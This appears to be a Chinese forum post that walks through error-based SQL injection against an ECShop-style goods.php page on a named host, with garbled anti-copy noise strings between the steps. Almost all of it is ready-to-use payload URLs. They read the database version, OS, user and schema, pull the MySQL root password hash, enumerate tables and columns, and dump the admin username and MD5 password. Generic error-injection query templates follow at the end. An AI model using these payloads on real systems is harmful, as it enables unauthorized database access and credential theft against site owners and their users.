判断版本号
; Z+ y; G& h0 q, q$ [# dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23: v! V$ p$ k* V" m2 c
0 Q: H: ]& Z3 l+ |- A( R; z2 s% e
判断系统
- _6 L8 P% Q: d8 O: c# _
) e% R( l2 @$ Y7 _8 vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
" o2 n+ C; S7 u# x m7 \8 `/ U' j8 Y# n) I
N/ O& o' K1 @; O9 s! C" W0 b. f1 w/ a
当前 user()
. Q2 F+ ^3 H4 d7 ~9 z! M5 }& W( |5 T! g. h y) d
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 W7 l5 M4 b$ ~/ U- Y7 M: U0 G4 v1 R m" O" G
) T w4 m% m, Y3 ]& G7 @: Z" q% q6 z- G# U1 p' p& N+ V+ \
当前 database(). Z# m9 ~8 l- h. I2 M
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%238 k# O( ?* g# \( C# N
+ C" E, l5 Y! R
4 [8 \( a5 f0 j2 \- h8 W
! W# H" j, z% p/ N/ T% x, s8 G% w4 h. O9 k
root hash) d" n, H3 h. d
p: f; o& p% P2 _! }( d
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
* W+ K2 y# d- L8 p& I5 @; c
5 Z6 u4 H' E- q. w; O
9 w) F# P5 M) H& a/ w8 W/ Z- z6 O1 o7 ^
当前 数据库表名
5 }3 {- M4 `/ e6 U3 t9 }, l6 P2 Z/ H" j# Q
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23) r1 d& ]4 w- @7 n
; k! a# e. x) c: k/ `4 N$ ?! [' F: J( v4 U2 i% g# F. ~
2 f3 c+ O. x% m7 d, U w# s
当前 数据库 user_name 字段
2 ]9 m0 I; m- v% b7 O4 i$ B2 {- ~0 {+ x) W6 N* O- k" h! a
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%233 Y) b, n s- A0 x, P
' ^) M* T" m/ L- e
当前 数据库 字段 password$ g3 ]1 [! G7 d' F0 H
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 O; j# Y9 _$ e( J" g9 ~' {( H
4 H' s8 _; H) b2 Z8 P4 j# Y% R
5 o0 r: H' w/ {1 x; w- `7 e3 y: n1 i* e) J% N4 z4 r# W" @9 ?
获得 admin passwd(md5)0 ~: F$ s7 p% A3 K. E
8 I$ G1 |2 j' Y; b8 ]
: t, l' I, ]' n! x
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%233 T- u" D- g9 k8 d, j0 ^1 V
$ R) W4 `' `) l1 \) M8 B. H' v报错注射: q, {4 d4 j2 T
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)! `7 A1 X( Z7 C) S* b
, J! N7 s* u* E5 X* @8 H
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)9 V7 a4 i @6 {9 f# G: Z- N
9 _9 Y2 `/ {3 t: Q, f
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |